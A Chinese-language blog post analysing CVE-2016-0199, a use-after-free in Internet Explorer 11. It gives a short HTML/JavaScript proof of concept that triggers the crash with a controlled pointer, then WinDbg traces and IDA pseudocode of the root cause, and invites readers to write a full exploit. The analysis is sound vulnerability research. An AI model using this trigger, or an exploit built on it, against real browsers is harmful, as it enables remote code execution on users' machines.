作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
这次博客更新到之前分析过的一个ie11的use after free,CVE编号是CVE-2016-0199,一个比较典型的释放后重用漏洞,存在问题的object是IE9以后引用的一个新特性,这里我提供一个可以触发漏洞的PoC,IE版本使用16年之前的就可以,感兴趣的读者可以尝试写一下exploit。
PoC:
<meta http-equiv="X-UA-Compatible" content="IE-7">
<script>
oElement = document.createElement("IMG");
var oAttr = document.createAttribute("loop");
oAttr.nodeValue = oElement;
oElement.loop = 0x41424344;
oElement.setAttributeNode(oAttr);
oElement.removeAttributeNode(oAttr);
CollectGarbage();
</script>
漏洞复现
Attribute可能是IE9之后新添加的特性,在IE8并没有触发这个漏洞,原因是没有Attribute这个特性,在Attribute处理节点时,当调用removeAttributeNode函数移除Attrbute结构体的时候,由于对其中某属性没有进行判断,导致移除后会由另一个子节点的同属性进行占位,而后续会再次引用到这个节点指针,但是这个指针已经被移除,却没有进行判断,而由另一个节点占位,从而导致控制子节点属性会导致代码执行。下面对此漏洞进行详细分析。
首先打开构造的PoC而已页面,IE11崩溃,附加windbg,到达漏洞现场。
(fe8.450): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41424344 ebx=00000001 ecx=00000039 edx=02acbb94 esi=41424344 edi=01e7db90
eip=694b8113 esp=02acbb88 ebp=02acbba0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x8e68c:
694b8113 8b08 mov ecx,dword ptr [eax] ds:0023:41424344=????????
可见此时eax的值为41424344,是一处无效的地址,而此时的mov操作很有可能是一处指针赋值操作,而41424344根据构造PoC情况,是代码
oElement.loop = 0x41424344
应该是IMG类型的节点中的一个名为loop的属性,此时引用的是它,通过kb回看一下堆栈调用情况。
0:007> kb
ChildEBP RetAddr Args to Child
02acbba0 66c02813 01e8dbf0 01e7db90 41424344 jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x8e68c
02acbbc0 66c0283f 01e7db90 00000001 02acbbe8 MSHTML!CAttribute::EnumerateTrackedObjects+0x5b
02acbbd0 6684098f 01e7db90 01e854f0 7745d816 MSHTML!CAttribute::EnumerateTrackedReferences+0x21
02acbbe8 6931f7e5 003e436c 01e7db90 02acbc40 MSHTML!CRootTracker::EnumerateTrackedObjects+0x7f
到达漏洞触发前,调用了CAttribute类中的EnumrateTrackedObjects函数,就由此函数入手,分析一下整个漏洞的成因。
在漏洞分析时,由于回溯的过程有大量的重新附加过程,由于ASLR的存在,导致每次地址都会稍有不同,具体的名称以我文字描述为准。
漏洞分析
这里我省略一些回溯过程,直接看漏洞的形成过程,到最后反过来看就能知道我回溯的过程了,首先在回溯过程中,我发现了一处有意思的指针,通过gflags,可以观察到指针的创建过程。
0:007> !heap -p -a 07a00fa0
address 07a00fa0 found in
_DPH_HEAP_ROOT @ 221000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
79e1618: 7a00fa0 60 - 7a00000 2000
MSHTML!CAttribute::`vftable'
6ef68e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
775b5ede ntdll!RtlDebugAllocateHeap+0x00000030
7757a40a ntdll!RtlpAllocateHeap+0x000000c4
77545ae0 ntdll!RtlAllocateHeap+0x0000023a
6399203e MSHTML!CDocument::CreateAttributeHelper+0x00000054
63995a11 MSHTML!CDocument::VersionedCreateAttribute+0x00000029
639968e3 MSHTML!CDocument::createAttribute+0x00000016
可见这个指针时CAttribute的虚表指针,而观察整个创建过程,在639968e3位置调用了createAttribute函数,在这个函数下断点跟踪。
0:021> g
Breakpoint 0 hit
eax=0562b8b4 ebx=00000200 ecx=657568cd edx=04554fd8 esi=65d1cdc4 edi=0562b8ac
eip=657568cd esp=0562b5a0 ebp=0562b5c8 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
MSHTML!CDocument::createAttribute:
657568cd 8bff mov edi,edi
0:007> gu
eax=00000000 ebx=00000200 ecx=0d2d2fd8 edx=0454cfa0 esi=65d1cdc4 edi=0562b8ac
eip=6537b187 esp=0562b5b0 ebp=0562b5c8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSHTML!Method_IDispatchpp_BSTR+0x6f:
6537b187 8bf0 mov esi,eax
指针返回后会将CAtrribute的虚表返回
0:007> dps 07a00fa0
07a00fa0 630a3e88 MSHTML!CAttribute::`vftable'
07a00fa4 00000001
07a00fa8 00000000
07a00fac 00000010
07a00fb0 00000000
接下来在虚表的某个偏移位置,会创建一个指针变量,来看一下这个指针变量。
0:007> ba w1 05d1cfd0
0:007> g
Breakpoint 2 hit
eax=00000009 ebx=05d1cfc8 ecx=00000009 edx=07042fd8 esi=04e5b57c edi=05d1cfd4
eip=75a74952 esp=04e5b538 ebp=04e5b548 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
OLEAUT32!VariantCopy+0x149:
75a74952 a5 movs dword ptr es:[edi],dword ptr [esi] es:0023:05d1cfd4=00000000 ds:0023:04e5b57c=65ce6a3c
0:007> dps 05d1cfa0
05d1cfa0 62ca3e88 MSHTML!CAttribute::`vftable'
05d1cfa4 00000003
05d1cfa8 00000000
05d1cfac 00000008
05d1cfb0 00000000
05d1cfb4 06d00208
05d1cfb8 00000000
05d1cfbc 00000000
05d1cfc0 ffffffff
05d1cfc4 05791ff4
05d1cfc8 06d00009
05d1cfcc 06cf4080
05d1cfd0 05721fa8
05d1cfd4 00000000
05d1cfd8 0595efb0
虽然有ASLR存在,但是相对虚表偏移是不会变的,在这个位置下内存写入断点,直接执行,可以看到程序中断时,该偏移处保存了一个指针05721fa8,通过gflags观察这个指针的创建过程。
0:007> !heap -p -a 05721fa8
address 05721fa8 found in
_DPH_HEAP_ROOT @ 201000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
55b271c: 5721fa8 54 - 5721000 2000
MSHTML!CImgElement::`vftable'
6f598e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
775b5ede ntdll!RtlDebugAllocateHeap+0x00000030
7757a40a ntdll!RtlpAllocateHeap+0x000000c4
77545ae0 ntdll!RtlAllocateHeap+0x0000023a
62e40e98 MSHTML!CImgElement::CreateElement+0x00000015
可以看到,这个指针是一处名为CImgElement的虚表指针,观察PoC,这个就是oElement创建的IMG对象的指针,而在nodeValue中会将oElement链接上,也就形成了上述的步骤。
而通过之前的回溯,可以发现被覆盖的正是这处CImgElement指针,于是利用这个内存写入断点继续执行,程序会再次命中。
0:007> g
Breakpoint 2 hit
eax=41424344 ebx=05d1cfc8 ecx=00000001 edx=80070057 esi=00000000 edi=00000008
eip=62e73886 esp=04e5b288 ebp=04e5b338 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSHTML!HandleGetPropertyHelper<long,CHandleIntegerPropertyHelper>+0x532:
62e73886 e9cbaaf9ff jmp MSHTML!HandleGetPropertyHelper<long,CHandleIntegerPropertyHelper>+0x20e (62e0e356)
这时候查看CAttribute虚表结构。
0:007> dps 05d1cfa0
05d1cfa0 62ca3e88 MSHTML!CAttribute::`vftable'
05d1cfa4 00000004
05d1cfa8 00000001
05d1cfac 00000010
05d1cfb0 00000000
05d1cfb4 06d00209
05d1cfb8 00000000
05d1cfbc 62e0a230 MSHTML!s_propdescCImgElementloop
05d1cfc0 000003f3
05d1cfc4 05791ff4
05d1cfc8 06d00003
05d1cfcc 06cf4080
05d1cfd0 41424344
05d1cfd4 65ce6a3c jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x1c94
刚才的位置的CImgElement已经变成了41424344,被oElement.loop占位,通过kb回溯。
0:007> kb
ChildEBP RetAddr Args to Child
04e5b338 62e0e370 0c000004 05d1cfc8 05721fa8 MSHTML!HandleGetPropertyHelper<long,CHandleIntegerPropertyHelper>+0x532
04e5b364 62e01643 62e0a230 0c000004 05d1cfc8 MSHTML!PROPERTYDESC::HandleNumProperty+0x4a
04e5b38c 62e80f09 62e0a230 00000000 07042fd8 MSHTML!CBase::get_PropertyHelper+0x45
04e5b3a0 62f8c6a2 05721fa8 05d1cfc8 04e5b500 MSHTML!CBase::get_Property+0x24
04e5b3d8 6309136b 05721fa8 00000000 07042fd8 MSHTML!GS_VARIANT+0x48
04e5b46c 63092ca7 00000804 00000002 04e5b500 MSHTML!CBase::ContextInvokeEx+0x2b6
04e5b494 631c1576 05721fa8 000003f3 00000804 MSHTML!CElement::ContextInvokeEx+0x4c
04e5b4c0 6320a29f 05721fa8 000003f3 00000804 MSHTML!CImgElement::VersionedInvokeEx+0x49
04e5b514 63595d7c 05d1cfc8 04e5b5a0 05721fa8 MSHTML!CAttribute::get_nodeValue+0xad
04e5b534 63595e0f 04e5b56c 05d1cfa0 04e5b574 MSHTML!CAttribute::VersionedGetSpecifiedHelper+0x258
04e5b58c 6359a207 00000001 05791ff4 04e5b5b4 MSHTML!CElement::VersionedRemoveAttributeNode+0x5e
04e5b5bc 631c15f9 05721fa8 05d1cfa0 04e5b660 MSHTML!CElement::removeAttributeNode+0x57
在最后位置看到了一个比较有意思的函数removeAttributeNode,正是PoC中最后调用的位置,跟踪这个函数。
__int32 __stdcall CElement::removeAttributeNode(CElement *this, struct IHTMLDOMAttribute *a2, struct IHTMLDOMAttribute **a3)
{
__int32 v3; // esi@1
struct _GUID v4; // ST04_16@2
int v5; // eax@3
CBase *v6; // edi@3
void **v8; // [sp+4h] [bp-14h]@2
int v9; // [sp+10h] [bp-8h]@1
CBase *v10; // [sp+14h] [bp-4h]@1
v3 = 0;
v9 = 0;
v10 = 0;
*a3 = 0;
if ( a2 )
{
*(_QWORD *)&v4.Data1 = *(_QWORD *)&CLSID_CAttribute.Data2;
*(_DWORD *)&v4.Data4[0] = *(_DWORD *)&CLSID_CAttribute.Data4[4];
v3 = QIClassID((struct IUnknown *)CLSID_CAttribute.Data1, v4, v8);
if ( v9 )
{
v5 = CElement::VersionedRemoveAttributeNode(this, 1, *(_DWORD *)(v9 + 36), &v10);
v6 = v10;
v3 = v5;
if ( v10 )
{
CAttribute::PrivateQueryInterface(v10, &IID_IHTMLDOMAttribute, (void **)a3);
CBase::PrivateRelease(v6);
}
}
}
if ( v3 < 0 )
v3 = CBase::WriteErrorInfo(this, v3);
return v3;
}
直接跟入这个函数查看虚表结构。
0:007> p
eax=050fb8b0 ebx=00000200 ecx=0aa9afa0 edx=00000001 esi=6535f414 edi=050fb8a8
eip=6575a1be esp=050fb7fc ebp=050fb80c iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
MSHTML!CElement::removeAttributeNode+0xe:
6575a1be 53 push ebx
0:007> dps ecx
0aa9afa0 64e63e88 MSHTML!CAttribute::`vftable'
0aa9afa4 00000003
0aa9afa8 00000001
0aa9afac 00000010
0aa9afb0 00000000
0aa9afb4 07270209
0aa9afb8 00000000
0aa9afbc 64fca230 MSHTML!s_propdescCImgElementloop
0aa9afc0 000003f3
0aa9afc4 0aa9cff4
0aa9afc8 07270009
0aa9afcc 07264080
0aa9afd0 0a325fa8
0aa9afd4 67196a3c jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x1c94
此时结构还未被覆盖,接下来单步跟踪,不断步入可以到达一个函数。
HandleGetPropertyHelper<long,CHandleIntegerPropertyHelper>
这个函数中,会获取父节点的属性,随后直接进行占位。
0:007> p
eax=00000000 ebx=06948fc8 ecx=00000001 edx=80070057 esi=00000000 edi=00000008
eip=6503387a esp=055cb8c8 ebp=055cb978 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSHTML!HandleGetPropertyHelper<long,CHandleIntegerPropertyHelper>+0x526:
6503387a 6a03 push 3
0:007> p
eax=00000000 ebx=06948fc8 ecx=00000001 edx=80070057 esi=00000000 edi=00000008
eip=6503387c esp=055cb8c4 ebp=055cb978 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSHTML!HandleGetPropertyHelper<long,CHandleIntegerPropertyHelper>+0x528:
6503387c 58 pop eax
0:007> p
eax=00000003 ebx=06948fc8 ecx=00000001 edx=80070057 esi=00000000 edi=00000008
eip=6503387d esp=055cb8c8 ebp=055cb978 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSHTML!HandleGetPropertyHelper<long,CHandleIntegerPropertyHelper>+0x529:
6503387d 668903 mov word ptr [ebx],ax ds:0023:06948fc8=0000
0:007> p
eax=00000003 ebx=06948fc8 ecx=00000001 edx=80070057 esi=00000000 edi=00000008
eip=65033880 esp=055cb8c8 ebp=055cb978 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSHTML!HandleGetPropertyHelper<long,CHandleIntegerPropertyHelper>+0x52c:
65033880 8b45a4 mov eax,dword ptr [ebp-5Ch] ss:0023:055cb91c=41424344
0:007> p
eax=41424344 ebx=06948fc8 ecx=00000001 edx=80070057 esi=00000000 edi=00000008
eip=65033883 esp=055cb8c8 ebp=055cb978 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSHTML!HandleGetPropertyHelper<long,CHandleIntegerPropertyHelper>+0x52f:
65033883 894308 mov dword ptr [ebx+8],eax ds:0023:06948fd0=0a5d5fa8
0:007> dd poi(ebx+8)
0a5d5fa8 65000ee4 00000005 00000000 00000010
0a5d5fb8 09664ff0 04ff0168 00000000 00000000
0a5d5fc8 0000003d 00400400 40000000 00000040
0a5d5fd8 0a5bdfe0 00000000 00000000 00000000
0a5d5fe8 00000000 00000000 066f0f90 00000000
0a5d5ff8 00000000 d0d0d0d0 ???????? ????????
0a5d6008 ???????? ???????? ???????? ????????
0a5d6018 ???????? ???????? ???????? ????????
0:007> dd ebx
06948fc8 04ff0003 04fe4080 0a5d5fa8 63306a3c
06948fd8 0644cfb0 0a5d5fa8 0aae6bd8 0a5bdfe0
06948fe8 00000000 00000000 ffffffff ffffffff
06948ff8 ffffffff 0000000c ???????? ????????
06949008 ???????? ???????? ???????? ????????
06949018 ???????? ???????? ???????? ????????
06949028 ???????? ???????? ???????? ????????
06949038 ???????? ???????? ???????? ????????
0:007> p
eax=41424344 ebx=06948fc8 ecx=00000001 edx=80070057 esi=00000000 edi=00000008
eip=65033886 esp=055cb8c8 ebp=055cb978 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSHTML!HandleGetPropertyHelper<long,CHandleIntegerPropertyHelper>+0x532:
65033886 e9cbaaf9ff jmp MSHTML!HandleGetPropertyHelper<long,CHandleIntegerPropertyHelper>+0x20e (64fce356)
0:007> dd ebx
06948fc8 04ff0003 04fe4080 41424344 63306a3c
06948fd8 0644cfb0 0a5d5fa8 0aae6bd8 0a5bdfe0
删除节点后会进行占位,占位之后就会到达漏洞触发部分,来看一下这两部分的关键代码。
首先外层函数调用。
.text:63E7281E ; public: virtual void __thiscall CAttribute::EnumerateTrackedReferences(void *)
.text:63E7281E ?EnumerateTrackedReferences@CAttribute@@UAEXPAX@Z proc near
.text:63E7281E mov edi, edi
.text:63E72820 push ebp
.text:63E72821 mov ebp, esp
.text:63E72823 push esi
.text:63E72824 mov esi, ecx
.text:63E72826 mov ecx, [esi+10h]
.text:63E72829 test ecx, ecx
.text:63E7282B jz short loc_63E72835
.text:63E7282D push dword ptr [ebp+8]
.text:63E72830 call ?EnumerateTrackedObjects@CAttrArray@@AAEXPAX@Z ; CAttrArray::EnumerateTrackedObjects(void *)
.text:63E72835
.text:63E72835 loc_63E72835: ; CODE XREF: CAttribute::EnumerateTrackedReferences(void *)+Dj
.text:63E72835 push dword ptr [ebp+8]
.text:63E72838 mov ecx, esi
.text:63E7283A call ?EnumerateTrackedObjects@CAttribute@@UAEXPAX@Z ; CAttribute::EnumerateTrackedObjects(void *)
.text:63E7283F pop esi
.text:63E72840 pop ebp
.text:63E72841 retn 4
进入内层。
.text:1022810B loc_1022810B: ; CODE XREF: JavascriptThreadService::EnumerateTrackingClient(void *,IUnknown *,int)+1Dj
.text:1022810B mov eax, [ebp+arg_8]
.text:1022810E lea edx, [ebp+var_C]
.text:10228111 push edx
.text:10228112 push eax
.text:10228113 mov ecx, [eax]
看看漏洞触发部分的IDA伪代码。
int __stdcall JavascriptThreadService::EnumerateTrackingClient(JavascriptThreadService *this, Recycler *a2, struct IUnknown *a3, struct FinalizableObject *a4)
v4 = ThreadContext::GetContextForCurrentThread();
v5 = a2;
if ( *((Recycler **)v4 + 80) == a2 )
{
if ( !a4 )
{
Recycler::TryMarkInterior(a2, a3);
return 0;
}
result = ((int (__stdcall *)(struct IUnknown *, int *))a3->lpVtbl[5].Release)(a3, &v28);
最后漏洞触发部分引用的是a3结构体的lpVtbl变量的release函数,这个a3在函数部分是作为第三个参数传入,是一个IUnknown型的结构体,实际上这个结构体就是CAttribute,而lpVtble本应试CImgElement对象,但是由于之前的removeAttributeNode时占位,导致这个对象被占位,而在这个过程并没有对删除节点后标记或者进行判断,从而导致了引用这个指针,可以引发远程代码执行。